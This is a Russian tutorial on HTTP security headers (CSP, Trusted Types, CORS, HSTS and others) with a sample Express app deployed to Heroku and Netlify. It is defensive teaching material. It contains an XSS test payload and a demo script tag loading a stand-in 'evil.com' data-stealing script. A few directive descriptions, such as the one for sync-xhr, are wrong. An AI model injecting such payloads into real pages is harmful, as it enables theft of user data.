XSS — это атака, когда уязвимость, существующая на сайте, позволяет атакующему внедрять и выполнять свои скрипты. CSP предоставляет дополнительный слой для отражения таких атак посредством ограничения скриптов, которые могут выполняться на странице.

Инженеры из Google рекомендуют использовать строгий режим CSP. Это можно сделать одним из двух способов:

  • если HTML-страницы рендерятся на сервере, следует использовать основанный на случайном значении (nonce-based) CSP;
  • если разметка является статической или доставляется из кеша, например, в случае, когда приложение является одностраничным (SPA), следует использовать основанный на хеше (hash-based) CSP.

Пример использования nonce-based CSP:

Content-Security-Policy:  script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline';  object-src 'none';  base-uri 'none';

Использование CSP

Обратите внимание: CSP является дополнительной защитой от XSS-атак, основная защита состоит в обезвреживании данных, вводимых пользователем.

1. Nonce-based CSP

nonce — это случайное число, которое используется только один раз. Если у вас нет возможности генерировать такое число для каждого ответа, тогда лучше использовать hash-based CSP.

Генерируем nonce на сервере для скрипта в ответ на каждый запрос и устанавливаем следующий заголовок:

Content-Security-Policy:  script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline';  object-src 'none';  base-uri 'none';

Затем в разметке устанавливаем каждому тегу script атрибут nonce со значением строки {RANDOM1}:

<script nonce="{RANDOM1}" src="https://example.com/script1.js"></script> <script nonce="{RANDOM1}">  // ... </script>

Хорошим примером использования nonce-based CSP является сервис Google Фото.

2. Hash-based CSP

Сервер:

Content-Security-Policy:  script-src 'sha256-{HASH1}' 'sha256-{HASH2}' 'strict-dynamic' https: 'unsafe-inline';  object-src 'none';  base-uri 'none';

В данном случае можно использовать только встроенные скрипты, поскольку большинство браузеров в настоящее время не поддерживает хеширование внешних скриптов.

<script>  // встроенный script1 </script> <script>  // встроенный script2 </script>

CSP Evaluator — отличный инструмент для оценки CSP.

Заметки:

  • https: — это резервный вариант для Firefox, а unsafe-inline — для очень старых браузеров;
  • директива frame-ancestors защищает сайт от кликджекинга, запрещая другим сайтам использовать контент вашего приложения. X-Frame-Options является более простым решением, но frame-ancestors позволяет выполнять тонкую настройку разрешенных источников;
  • CSP можно использовать для обеспечения загрузки всех ресурсов по HTTPS. Это не слишком актуально, поскольку в настоящее время большинство браузеров блокирует смешанный контент;
  • CSP можно использовать в режиме только для чтения (report-only mode);
  • CSP может быть установлен в разметке как мета-тег.

В рассматриваемом заголовке можно использовать следующие директивы:

Директива Описание
base-uri Определяет базовый URI для относительных
default-src Определяет политику загрузки ресурсов всех типов при отсутствии специальной директивы (политику по умолчанию)
script-src Определяет скрипты, которые могут выполняться на странице
object-src Определяет, откуда могут загружаться ресурсы — плагины
style-src Определяет стили, которые могут применяться на странице
img-src Определяет, откуда могут загружаться изображения
media-src Определяет, откуда могут загружаться аудио и видеофайлы
child-src Определяет, откуда могут загружаться фреймы
frame-ancestors Определяет, где (в каких источниках) ресурс может загружаться во фреймы
font-src Определяет, откуда могут загружаться шрифты
connect-src Определяет разрешенные URI
manifest-src Определяет, откуда могут загружаться файлы манифеста
form-action Определяет, какие URI могут использоваться для отправки форм (в атрибуте action)
sandbox Определяет политику песочницы (sandbox policy) HTML, которую агент пользователя применяет к защищенному ресурсу
script-nonce Определяет, что для выполнения скрипта требуется наличие уникального значения
plugin-types Определяет набор плагинов, которые могут вызываться защищенным ресурсом посредством ограничения типов встраиваемых ресурсов
reflected-xss Используется для активации/деактивации эвристических методов браузера для фильтрации или блокировки отраженных XSS-атак
block-all-mixed-content Запрещает загрузку смешанного контента
upgrade-insecure-requests Определяет, что небезопасные ресурсы (загружаемые по HTTP) должны загружаться по HTTPS
report-to Определяет группу (указанную в заголовке Report-To), в которую отправляются отчеты о нарушениях политики

Возможные значения директив для нестрогого режима CSP:

  • 'self' — ресурсы могут загружаться только из данного источника;
  • 'none' — запрет на загрузку ресурсов;
  • * — ресурсы могут загружаться из любого источника;
  • example.com — ресурсы могут загружаться только из example.com.

Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src example.com

В данном случае изображения могут быть загружены из любого источника, другие медиафайлы — только с media1.com и media2.com (исключая их поддомены), скрипты — только с example.com.

Trusted Types

XSS, основанный на DOM — это атака, когда вредоносный код передается в приемник, который поддерживает динамическое выполнение кода, такой как eval() или innerHTML.

Trusted Types предоставляет инструменты для создания, модификации и поддержки приложений, полностью защищенных от DOM XSS. Этот режим может быть включен через CSP. Он делает JavaScript-код безопасным по умолчанию посредством ограничения значений, принимаемых небезопасными API, специальным объектом — Trusted Type.

Для создания таких объектов можно определить политики, которые проверяют соблюдение правил безопасности (таких как экранирование и обезвреживание) перед записью данных в DOM. Затем эти политики помещаются в код, который может представлять интерес для DOM XSS.

Пример использования

Включаем Trusted Types для опасных приемников DOM:

Content-Security-Policy: require-trusted-types-for 'script'

В настоящее время единственным доступным значением директивы require-trusted-types-for является script.

Разумеется, Trusted Types можно комбинировать с другими директивами CSP:

Content-Security-Policy:  script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline';  object-src 'none';  base-uri 'none';  require-trusted-types-for 'script';

C помощью директивы trusted-types можно ограничить пространство имен для политик Trusted Types, например, trusted-types myPolicy.

Определяем политику:

// проверяем поддержку if (window.trustedTypes && trustedTypes.createPolicy) {  // создаем политику  const policy = trustedTypes.createPolicy('escapePolicy', {    createHTML: (str) => str.replace(/\</g, '&lt;').replace(/>/g, '&gt;')  }) }

Применяем политику:

// будет выброшено исключение el.innerHTML = 'some string' // ок const escaped = policy.createHTML('<img src=x onerror=alert(1)>') el.innerHTML = escaped // '&lt;img src=x onerror=alert(1)&gt;'

Директива require-trusted-types-for 'script' делает использование доверенного типа обязательным. Любая попытка использовать строку в небезопасном API завершится ошибкой.

Подробнее о Trusted Types можно почитать здесь.

X-Content-Type-Options

Когда вредоносный HTML-документ обслуживается вашим доменом (например, когда изображение, загружаемое в сервис хранения фотографий, содержит валидную разметку), некоторые браузеры могут посчитать его активным документом и разрешить ему выполнять скрипты в контексте приложения.

X-Content-Type-Options: nosniff заставляет браузер проверять корректность MIME-типа в заголовке полученного ответа Content-Type. Рекомендуется устанавливать такой заголовок для всех загружаемых ресурсов.

X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8

X-Frame-Options

Если вредоносный сайт будет иметь возможность встраивать ваше приложение как iframe, это может предоставить атакующему возможность вызывать непреднамеренные действия пользователей через кликджекинг. В некоторых случаях это также позволяет атакующему изучать содержимое документа.

X-Frame-Options является индикатором того, должен ли ваш сайт рендериться в <frame>, <iframe>, <embed> или <object>.

Для того, чтобы разрешить встраивание только определенных страниц сайта, используется директива frame-ancestors заголовка CSP.

Примеры использования

Полностью запрещаем внедрение:

X-Frame-Options: DENY

Разрешаем создание фреймов только на собственном сайте:

X-Frame-Options: SAMEORIGIN

Обратите внимание: по умолчанию все документы являются встраиваемыми.

Cross-Origin-Resource-Policy (CORP)

Атакующий может внедрить ресурсы вашего сайта в свое приложение с целью получения информации о вашем сайте.

CORP определяет, какие сайты могут внедрять ресурсы вашего приложения. Данный заголовок принимает 1 из 3 возможных значений: same-origin, same-site и cross-origin.

Для сервисов вроде CDN рекомендуется использовать значение cross-origin, если для них не определен соответствующий заголовок CORS.

Cross-Origin-Resource-Policy: cross-origin

same-origin разрешает внедрение ресурсов страницами, принадлежащими к одному источнику. Данное значение применяется в отношении чувствительной информации о пользователях или ответов от API, которые рассчитаны на использование в пределах данного источника.

Обратите внимание: ресурсы все равно будут доступны для загрузки, поскольку CORP ограничивает только внедрение этих ресурсов в другие источники.

Cross-Origin-Resource-Policy: same-origin

same-site предназначен для ресурсов, которые используются не только доменом (как в случае с same-origin), но и его поддоменами.

Cross-Origin-Resource-Policy: same-site

Cross-Origin-Opener-Policy (COOP)

Если сайт атакующего может открывать другой сайт в поп-апе (всплывающем окне), то у атакующего появляется возможность для поиска межсайтовых источников утечки информации. В некоторых случаях это также позволяет реализовать атаку с использованием побочных каналов, описанную в Spectre.

Заголовок Cross-Origin-Opener-Policy позволяет запретить открытие сайта с помощью метода window.open() или ссылки target="_blank" без rel="noopener". Как результат, у того, кто попытается открыть сайт такими способами, не будет ссылки на сайт, и он не сможет с ним взаимодействовать.

Значение same-origin рассматриваемого заголовка позволяет полностью запретить открытие сайта в других источниках.

Cross-Origin-Opener-Policy: same-origin

Значение same-origin-allow-popups также защищает документ от открытия в поп-апах других источников, но позволяет приложению взаимодействовать с собственными попапами.

Cross-Origin-Opener-Policy: same-origin-allow-popups

unsafe-none является значением по умолчанию, оно разрешает открытие сайта в виде поп-апа в других источниках.

Cross-Origin-Opener-Policy: unsafe-none

Мы можем получать отчеты от COOP:

Cross-Origin-Opener-Policy: same-origin; report-to="coop"

COOP также поддерживает режим report-only, позволяющий получать отчеты о нарушениях без их блокировки.

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop"

Cross-Origin Resource Sharing (CORS)

CORS — это не заголовок, а механизм, используемый браузером для предоставления доступа к ресурсам приложения.

По умолчанию браузеры используют политику одного источника или общего происхождения, которая запрещает доступ к таким ресурсам из других источников. Например, при загрузке изображения из другого источника, даже несмотря на его отображение на странице, JavaScript-код не будет иметь к нему доступа. Провайдер ресурса может предоставить такой доступ через настройку CORS с помощью двух заголовков:

Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true

Использование CORS

Начнем с того, что существует два типа HTTP-запросов. В зависимости от деталей запроса он может быть классифицирован как простой или сложный (запрос, требующий отправки предварительного запроса).

Критериями простого запроса является следующее:

  • методом запроса является GET, HEAD или POST;
  • кастомными заголовками могут быть только Accept, Accept-Language, Content-Language и Content-Type;
  • значением заголовка Content-Type может быть только application/x-www-form-urlencoded, multipart/form-data или text/plain.

Все остальные запросы считаются сложными.

Простой запрос

В данном случае браузер отправляет запрос к другому источнику с заголовком Origin, значением которого является источник запроса:

Get / HTTP/1.1 Origin: https://example.com

Ответ:

Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true

  • Access-Control-Allow-Origin: https://example.com означает, что https://example.com имеет доступ к содержимому ответа. Если значением данного заголовка является *, ресурсы будут доступны любому сайту. В этом случае полномочия (credentials) не требуются;
  • Access-Control-Allow-Credentials: true означает, что запрос на получение ресурсов должен содержать полномочия (куки). При отсутствии полномочий в запросе, даже при наличии источника в заголовке Access-Control-Allow-Origin, запрос будет отклонен.

Сложный запрос

Перед сложным запросом выполняется предварительный. Он выполняется методом OPTIONS для определения того, может ли быть отправлен основной запрос:

OPTIONS / HTTP/1.1 Origin: https://example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: X-PINGOTHER, Content-Type

  • Access-Control-Request-Method: POST — последующий запрос будет отправлен методом POST;
  • Access-Control-Request-Headers: X-PINGOTHER, Content-Type — последующий запрос будет отправлен с заголовками X-PINGOTHER и Content-Type.

Ответ:

Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: X-PINGOTHER, Content-Type Access-Control-Max-Age: 86400

  • Access-Control-Allow-Methods: POST, GET, OPTIONS — последующий запрос может выполняться указанными методами;
  • Access-Control-Allow-Headers: X-PINGOTHER, Content-Type — последующий запрос может содержать указанные заголовки;
  • Access-Control-Max-Age: 86400 — результат сложного запроса будет записан в кеш и будет там храниться на протяжении 86400 секунд.

Cross-Origin-Embedder-Policy (COEP)

Для предотвращения кражи ресурсов из других источников с помощью атак, описанных в Spectre, такие возможности, как SharedArrayBuffer, performance.measureUserAgentSpecificMemory() или JS Self Profiling API, по умолчанию отключены.

Cross-Origin-Embedder-Policy: require-corp запрещает документам и воркерам (workers) загружать изображения, скрипты, стили, фреймы и другие ресурсы до тех пор, пока доступ к ним не разрешен с помощью заголовков CORS или CORP. COEP может использоваться совместно с COOP для настройки межсайтовой изоляции документа.

На данный момент require-corp является единственным доступным значением рассматриваемого заголовка, кроме unsafe-none, которое является значением по умолчанию.

Полная межсайтовая изоляция приложения

Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin

Изоляция с отчетами о блокировках

Cross-Origin-Embedder-Policy: require-corp; report-to="coep"

Только отчеты

Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="coep"

HTTP Strict Transport Security (HSTS)

Данные, передаваемые по HTTP, не шифруются, что делает их доступными для перехватчиков на уровне сети.

Заголовок Strict-Transport-Security запрещает использование HTTP. При наличии данного заголовка браузер будет использовать HTTPS без перенаправления на HTTP (при отсутствии ресурса по HTTPS) в течение указанного времени (max-age).

Strict-Transport-Security: max-age=31536000

Директивы

  • max-age — время в секундах, в течение которого браузер должен "помнить", что сайт доступен только по HTTPS;
  • includeSubDomains — распространяет политику на поддомены.

Другие заголовки

Referrer-Policy

Заголовок Referrer-Policy определяет содержание информации о реферере, указываемой в заголовке Referer. Заголовок Referer содержит адрес запроса, например, адрес предыдущей страницы, или адрес загруженного изображения, или другого ресурса. Он используется для аналитики, логирования, оптимизации кеша и т.д. Однако он также может использоваться для слежения или кражи информации, выполнения побочных эффектов, приводящих к утечке чувствительных пользовательских данных и т.д.

Referrer-Policy: no-referrer

Возможные значения

Значение Описание
no-referrer Заголовок Referer не включается в запрос
no-referrer-when-downgrade Значение по умолчанию. Реферер указывается при выполнении запроса между HTTPS и HTTPS, но не указывается при выполнении запроса между HTTPS и HTTP
origin Указывается только источник запроса (например, реферером документа https://example.com/page.html будет https://example.com)
origin-when-cross-origin При выполнении запроса в пределах одного источника указывается полный URL, иначе указывается только источник (как в предыдущем примере)
same-origin При выполнении запроса в пределах одного источника указывается источник, в противном случае, реферер не указывается
strict-origin Похоже на no-referrer-when-downgrade, но указывается только источник
strict-origin-when-cross-origin Сочетание strict-origin и origin-when-cross-origin
unsafe-url Всегда указывается полный URL

Обратите внимание: данный заголовок не поддерживается мобильным Safari.

Clear-Site-Data

Заголовок Clear-Site-Data запускает очистку хранящихся в браузере данных (куки, хранилище, кеш), связанных с источником. Это предоставляет разработчикам контроль над данными, локально хранящимися в браузере пользователя. Данный заголовок может использоваться, например, в процессе выхода пользователя из приложения (logout) для очистки данных, хранящихся на стороне клиента.

Clear-Site-Data: "*"

Возможные значения:

Значение Описание
"cache" Сообщает браузеру, что сервер хочет очистить локально кешированные данные для источника ответа на запрос
"cookies" Сообщает браузеру, что сервер хочет удалить все куки для источника. Данные для аутентификации также будут очищены. Это влияет как на сам домен, так и на его поддомены
"storage" Сообщает браузеру, что сервер хочет очистить все хранилища браузера (localStorage, sessionStorage, IndexedDB, регистрация сервис-воркеров — для каждого зарегистрированного СВ вызывается метод unregister(), AppCache, WebSQL, данные FileSystem API, данные плагинов)
"executionContexts" Сообщает браузеру, что сервер хочет перезагрузить все контексты браузера (в настоящее время почти не поддерживается)
"*" Сообщает браузеру, что сервер хочет удалить все данные

Обратите внимание: данный заголовок не поддерживается Safari.

Permissions-Policy

Данный заголовок является заменой заголовка Feature-Policy и предназначен для управления доступом к некоторым продвинутым возможностям.

Permissions-Policy: camera=(), fullscreen=*, geolocation=(self "https://example.com" "https://another.example.com")

В данном случае мы полностью запрещаем доступ к камере (видеовходу) устройства, разрешаем доступ к методу requestFullScreen() (для включения полноэкранного режима воспроизведения видео) для всех, а к информации о местонахождении устройства — только для источников example.com и another.example.com.

Возможные директивы

Директива Описание
accelerometer Управляет тем, может ли текущий документ собирать информацию об акселерации (проекции кажущегося ускорения) устройства с помощью интерфейса Accelerometer
ambient-light-sensor Управляет тем, может ли текущий документ собирать информацию о количестве света в окружающей устройство среде с помощью интерфейса AmbientLightSensor
autoplay Управляет тем, может ли текущий документ автоматически воспроизводить медиа, запрошенное через интерфейс HTMLMediaElement
battery Определяет возможность использования Battery Status API
camera Определяет возможность использования видеовхода устройства
display-capture Определяет возможность захвата экрана с помощью метода getDisplayMedia()
document-domain Определяет возможность установки document.domain
encrypted-media Определяет возможность использования Encrypted Media Extensions API (EME)
execution-while-not-rendered Определяет возможность выполнения задач во фреймах без их рендеринга (например, когда они скрыты или их свойство diplay имеет значение none)
execution-while-out-of-viewport Определяет возможность выполнения задач во фреймах, находящихся за пределами области просмотра
fullscreen Определяет возможность использования метода requestFullScreen()
geolocation Определяет возможность использования Geolocation API
gyroscope Управляет тем, может ли текущий документ собирать информацию об ориентации устройства с помощью Gyroscope API
layout-animations Определяет возможность показа анимации
legacy-image-formats Определяет возможность отображения изображений устаревших форматов
magnetometer Управляет тем, может ли текущий документ собирать информацию об ориентации устройства с помощью Magnetometer API
microphone Определяет возможность использования аудиовхода устройства
midi Определяет возможность использования Web MIDI API
navigation-override Определяет возможность управления пространственной навигацией (spatial navigation) механизмами, разработанными автором приложения
oversized-images Определяет возможность загрузки и отображения больших изображений
payment Определяет возможность использования Payment Request API
picture-in-picture Определяет возможность воспроизведения видео в режиме "картинка в картинке"
publickey-credentials-get Определяет возможность использования Web Authentication API для извлечения публичных ключей, например, через navigator.credentials.get()
sync-xhr Определяет возможность использования WebUSB API
vr Определяет возможность использования WebVR API
wake-lock Определяет возможность использования Wake Lock API для запрета переключения устройства в режим сохранения энергии
screen-wake-lock Определяет возможность использования Screen Wake Lock API для запрета блокировки экрана устройства
web-share Определяет возможность использования Web Share API для передачи текста, ссылок, изображений и другого контента
xr-spatial-tracking Определяет возможность использования WebXR Device API для взаимодействия с сессией WebXR

Возможные значения

  • =() — полный запрет;
  • =* — полный доступ;
  • (self "https://example.com") — предоставление разрешения только указанному источнику.

Спецификация рассматриваемого заголовка находится в статусе рабочего черновика, поэтому его поддержка оставляет желать лучшего:

Перейдем к практической части.

Разработка Express-приложения

Создаем директорию для проекта, переходим в нее и инициализируем проект:

mkdir secure-app cd !$  yarn init -yp # или npm init -y

Формируем структуру проекта:

- public  - favicon.png  - index.html  - style.css  - script.js - index.js - .gitignore - ...

Иконку можно найти здесь.

Набросаем какой-нибудь незамысловатый код.

В public/index.html мы подключаем иконку, стили, скрипт, Google-шрифты, Bootstrap и Boostrap Icons через CDN, создаем элементы для заголовка, даты, времени и кнопок:

<!DOCTYPE html> <html lang="ru">  <head>    <meta charset="UTF-8" />    <meta http-equiv="X-UA-Compatible" content="IE=edge" />    <meta name="viewport" content="width=device-width, initial-scale=1.0" />    <title>Secure App</title>    <link rel="icon" href="favicon.png" />    <link rel="preconnect" href="https://fonts.googleapis.com" />    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />    <link      href="https://fonts.googleapis.com/css2?family=Montserrat&display=swap"      rel="stylesheet"    />    <link      href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css"      rel="stylesheet"      integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x"      crossorigin="anonymous"    />    <link      rel="stylesheet"      href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css"    />    <link rel="stylesheet" href="style.css" />  </head>  <body>    <div class="container">      <h1>Secure App</h1>      <p>        <i class="bi bi-calendar"></i>        Сегодня <time class="date"></time>      </p>      <p>        <i class="bi bi-clock"></i>        Сейчас <time class="time"></time>      </p>      <div class="buttons">        <button class="btn btn-danger btn-stop">Остановить таймер</button>        <button class="btn btn-primary btn-add">Добавить шаблон</button>        <button class="btn btn-success btn-get">Получить заголовки</button>      </div>    </div>     <script src="script.js"></script>  </body> </html>

Добавляем стили в public/style.css

* {  margin: 0;  padding: 0;  box-sizing: border-box;  font-family: 'Montserrat', sans-serif; }  body {  min-height: 100vh;  display: grid;  place-content: center;  text-align: center; }  h1 {  margin: 0.5em 0;  text-transform: uppercase;  font-size: 3rem; }  p {  font-size: 1.15rem; }  .buttons {  margin: 0.5em 0;  display: flex;  flex-direction: column;  align-items: center;  gap: 0.5em; }  button {  cursor: pointer; }  pre {  margin: 0.5em 0;  white-space: pre-wrap;  text-align: left; }

В public/script.js мы делаем следующее:

  • определяем политику доверенных типов;
  • создаем утилиты для получения ссылки на DOM-элемент, форматирования даты и времени и регистрации обработчика (по умолчанию одноразового и запускающего колбэк при возникновении события click);
  • получаем ссылки на DOM-элементы;
  • определяем настройки для форматирования даты и времени;
  • добавляем дату и время в качестве текстового содержимого соответствующих элементов;
  • определяем колбэки для обработчиков: для остановки таймера, добавления HTML-шаблона с потенциально вредоносным кодом и получения HTTP-заголовков;
  • регистрируем обработчики.

// политика доверенных типов let policy if (window.trustedTypes && trustedTypes.createPolicy) {  policy = trustedTypes.createPolicy('escapePolicy', {    createHTML: (str) => str.replace(/\</g, '&lt').replace(/>/g, '&gt')  }) }  // утилиты // для получения ссылки на DOM-элемент const getEl = (selector, parent = document) => parent.querySelector(selector) // для форматирования даты и времени const getDate = (options, locale = 'ru-RU', date = Date.now()) =>  new Intl.DateTimeFormat(locale, options).format(date) // для регистрации обработчика (по умолчанию одноразового и запускающего колбэк при возникновении события `click`) const on = (el, cb, event = 'click', options = { once: true }) =>  el.addEventListener(event, cb, options)  // DOM-элементы const containerEl = getEl('.container') const dateEl = getEl('.date', containerEl) const timeEl = getEl('.time', containerEl) const stopBtnEl = getEl('.btn-stop', containerEl) const addBtnEl = getEl('.btn-add', containerEl) const getBtnEl = getEl('.btn-get', containerEl)  // настройки для даты const dateOptions = {  weekday: 'long',  day: 'numeric',  month: 'long',  year: 'numeric' } // настройки для времени const timeOptions = {  hour: 'numeric',  minute: 'numeric',  second: 'numeric' }  // добавляем текущую дату в качестве текстового содержимого соответствующего элемента dateEl.textContent = getDate(dateOptions) // добавляем текущее время в качестве текстового содержимого соответствующего элемента каждую секунду const timerId = setInterval(() => {  timeEl.textContent = getDate(timeOptions) }, 1000)  // колбэки для обработчиков (в каждом колбэке происходит удаление соответствующей кнопки) // для остановки таймера const stopTimer = () => {  clearInterval(timerId)  stopBtnEl.remove() } // для добавления HTML-шаблона с потенциально вредоносным кодом const addTemplate = () => {  const evilTemplate = `<script src="https://evil.com/steal-data.min.js"></script>`  // при попытке вставить необезвреженный шаблон будет выброшено исключение  // Uncaught TypeError: Failed to execute 'insertAdjacentHTML' on 'Element': This document requires 'TrustedHTML' assignment.  containerEl.insertAdjacentHTML('beforeend', policy.createHTML(evilTemplate))  addBtnEl.remove() } // для получения HTTP-заголовков const getHeaders = () => {  const req = new XMLHttpRequest()  req.open('GET', location, false)  req.send(null)  const headers = req.getAllResponseHeaders()  const preEl = document.createElement('pre')  preEl.textContent = headers  containerEl.append(preEl)  getBtnEl.remove() }  // регистрируем обработчики on(stopBtnEl, stopTimer) on(addBtnEl, addTemplate) on(getBtnEl, getHeaders)

Устанавливаем зависимости.

Для продакшна:

yarn add express

Для разработки:

yarn add -D nodemon open-cli

  • express — Node.js-фреймворк, упрощающий разработку сервера;
  • nodemon — утилита для запуска сервера для разработки и его автоматического перезапуска при обновлении соответствующего файла;
  • open-cli — утилита для автоматического открытия вкладки браузера по указанному адресу.

Определяем в package.json команды для запуска серверов:

"scripts": {  "dev": "open-cli http://localhost:3000 && nodemon index.js",  "start": "node index.js" }

Приступаем к реализации сервера.

Справедливости ради следует отметить, что в экосистеме Node.js имеется специальная утилита для установки HTTP-заголовков, связанных с безопасностью веб-приложений — Helmet. Шпаргалку по работе с этой утилитой вы найдете здесь.

Также существует специальная утилита для работы с CORSCors. Шпаргалку по работе с этой утилитой вы найдете здесь.

Большинство заголовков можно определить сразу:

// предотвращаем `MIME sniffing` 'X-Content-Type-Options': 'nosniff',  // для старых браузеров, плохо поддерживающих `CSP` 'X-Frame-Options': 'DENY', 'X-XSS-Protection': '1; mode=block',  // по умолчанию браузеры блокируют CORS-запросы // дополнительные CORS-заголовки 'Cross-Origin-Resource-Policy': 'same-site', 'Cross-Origin-Opener-Policy': 'same-origin-allow-popups', 'Cross-Origin-Embedder-Policy': 'require-corp',  // запрещаем включать информацию о реферере в заголовок `Referer` 'Referrer-Policy': 'no-referrer',  // инструктируем браузер использовать `HTTPS` вместо `HTTP` // 31536000 секунд — это 365 дней 'Strict-Transport-Security': 'max-age=31536000; includeSubDomains'

Также добавим заголовок Expect-CT:

// 86400 секунд — это 1 сутки 'Expect-CT': 'enforce, max-age=86400'

Блокируем доступ к камере, микрофону, информации о местонахождении и Payment Request API:

'Permissions-Policy': 'camera=(), microphone=(), geolocation=(), payment=()'

Директивы для CSP:

'Content-Security-Policy': `  // запрещаем загрузку плагинов  object-src 'none';  // разрешаем выполнение только собственных скриптов  script-src 'self';  // разрешаем загрузку только собственных изображений  img-src 'self';  // разрешаем открытие приложения только в собственных фреймах  frame-ancestors 'self';  // включаем политику доверенных типов для скриптов  require-trusted-types-for 'script';  // блокируем смешанный контент  block-all-mixed-content;  // инструктируем браузер использовать `HTTPS` для ресурсов, загружаемых по `HTTP`  upgrade-insecure-requests `

Обратите внимание: все директивы должны быть указаны в одну строку без переносов. Мы не определяем директивы для стилей и шрифтов, поскольку они загружаются из других источников.

Также обратите внимание, что мы не используем nonce для скриптов, поскольку мы не рендерим разметку на стороне сервера, но я приведу соответствующий код.

index.js:

const express = require('express') // утилита для генерации уникальных значений // const crypto = require('crypto')  // создаем экземпляр Express-приложения const app = express()  // посредник для генерации `nonce` /* const getNonce = (_, res, next) => {  res.locals.cspNonce = crypto.randomBytes(16).toString('hex')  next() } */  // посредник для установки заголовков // 31536000 — 365 дней // 86400 — 1 сутки const setSecurityHeaders = (_, res, next) => {  res.set({    'X-Content-Type-Options': 'nosniff',    'X-Frame-Options': 'DENY',    'X-XSS-Protection': '1; mode=block',    'Cross-Origin-Resource-Policy': 'same-site',    'Cross-Origin-Opener-Policy': 'same-origin-allow-popups',    'Cross-Origin-Embedder-Policy': 'require-corp',    'Referrer-Policy': 'no-referrer',    'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',    'Expect-CT': 'enforce, max-age=86400',    'Content-Security-Policy': `object-src 'none'; script-src 'self'; img-src 'self'; frame-ancestors 'self'; require-trusted-types-for 'script'; block-all-mixed-content; upgrade-insecure-requests`,    'Permissions-Policy': 'camera=(), microphone=(), geolocation=(), payment=()'  })  next() }  // удаляем заголовок `X-Powered-By` app.disable('x-powered-by') // подключаем посредник для генерации `nonce` // app.use(getNonce) // подключаем посредник для установки заголовков app.use(setSecurityHeaders) // определяем директорию со статическими файлами app.use(express.static('public'))  // определяем порт const PORT = process.env.PORT || 3000 // запускам сервер app.listen(PORT, () => {  console.log('Сервер готов') })

Выполняем команду yarn dev или npm run dev (разумеется, на вашей машине должен быть установлен Node.js). Данная команда запускает сервер для разработки и открывает вкладку браузера по адресу http://localhost:3000.


Отлично! Теперь развернем приложение на Heroku и проверим его безопасность с помощью Security Headers и WebPageTest.

Деплой Express-приложения на Heroku

Создаем аккаунт на Heroku.

Глобально устанавливаем Heroku CLI:

yarn global add heroku # или npm i -g heroku

Проверяем установку:

heroku -v

Находясь в корневой директории проекта, инициализируем Git-репозиторий (разумеется, на вашей машине должен быть установлен git), добавляем и фиксируем изменения (не забудьте добавить node_modules в .gitignore):

git init git add . git commit -m "Create secure app"

Создаем удаленный репозиторий на Heroku:

# авторизация heroku login # создание репо heroku create # подключение к репо git remote -v

Разворачиваем приложение:

git push heroku master

Инструкцию по развертыванию приложения на Heroku можно найти здесь.

После выполнения этой команды, в терминале появится URL вашего приложения, развернутого на Heroku, например, https://tranquil-meadow-01695.herokuapp.com/.

Перейдите по указанному адресу и проверьте работоспособность приложения.

Заходим на Security Headers, вставляем URL приложения в поле enter address here и нажимаем на кнопку Scan:

Получаем рейтинг приложения:

В Supported By читаем Вау, отличная оценка....

Заходим на WebPageTest, вставляем URL приложения в поле Enter a website URL... и нажимаем на кнопку Start Test ->:

Получаем результаты оценки приложения (нас интересует первая оценка — Security score):

Похоже, мы все сделали правильно. Круто!

Деплой приложения на Netlify

Переносим файлы favicon.png, index.html, script.js и style.css из папки public в отдельную директорию, например, netlify.

Для настройки сервера Netlify используется файл netlify.toml. Создаем данный файл в директории проекта. Нас интересует только раздел [[headers]]:

[[headers]]  for = "/*"  [headers.values]    X-Content-Type-Options = "nosniff"    X-Frame-Options = "DENY"    X-XSS-Protection = "1; mode=block"    Cross-Origin-Resource-Policy = "same-site"    Cross-Origin-Opener-Policy = "same-origin-allow-popups"    Cross-Origin-Embedder-Policy = "require-corp"    Referrer-Policy = "no-referrer"    Strict-Transport-Security = "max-age=31536000; includeSubDomains"    Expect-CT = "enforce, max-age=86400"    Content-Security-Policy = "object-src 'none'; script-src 'self'; img-src 'self'; frame-ancestors 'self'; require-trusted-types-for 'script'; block-all-mixed-content; upgrade-insecure-requests"    Permissions-Policy = "camera=(), microphone=(), geolocation=(), payment=()"

  • for = "/*" означает для всех запросов;
  • [header.values] — заголовки и их значения (просто переносим их из Express-сервера с учетом особенностей синтаксиса).

Глобально устанавливаем Netlify CLI:

yarn global add netlify-cli # или npm i -g netlify-cli

Проверяем установку:

netlify -v

Авторизуемся:

netlify login

Можно запустить сервер для разработки (это необязательно):

netlify dev

Данная команда запускает приложение и открывает вкладку браузера по адресу http://localhost:8888.

Разворачиваем приложение в тестовом режиме:

netlify deploy

Выбираем Create & configure a new site, свою команду (например, Igor Agapov's team), оставляем Site name пустым и выбираем директорию со сборкой приложения (у нас такой директории нет, поэтому оставляем значение по умолчанию — .):

Получаем URL черновика веб-сайта (Website Draft URL), например, https://60f3e6013d0afb2ce71a5623--infallible-pasteur-d015e7.netlify.app. Можно перейти по указанному адресу и проверить работоспособность приложения.

Разворачиваем приложение в продакшен-режиме:

netlify deploy -p

  • -p или --prod означает производственный режим.

Получаем URL приложения (Website URL), например, https://infallible-pasteur-d015e7.netlify.app/. Опять же, можно перейти по указанному адресу и проверить работоспособность приложения.

Инструкцию по развертыванию приложения на Netlify можно найти здесь.

Возвращаемся на Security Headers и WebPageTest и проверяем, насколько безопасным является наше Netlify-приложение:


Кажется, у нас все получилось!

Заключение

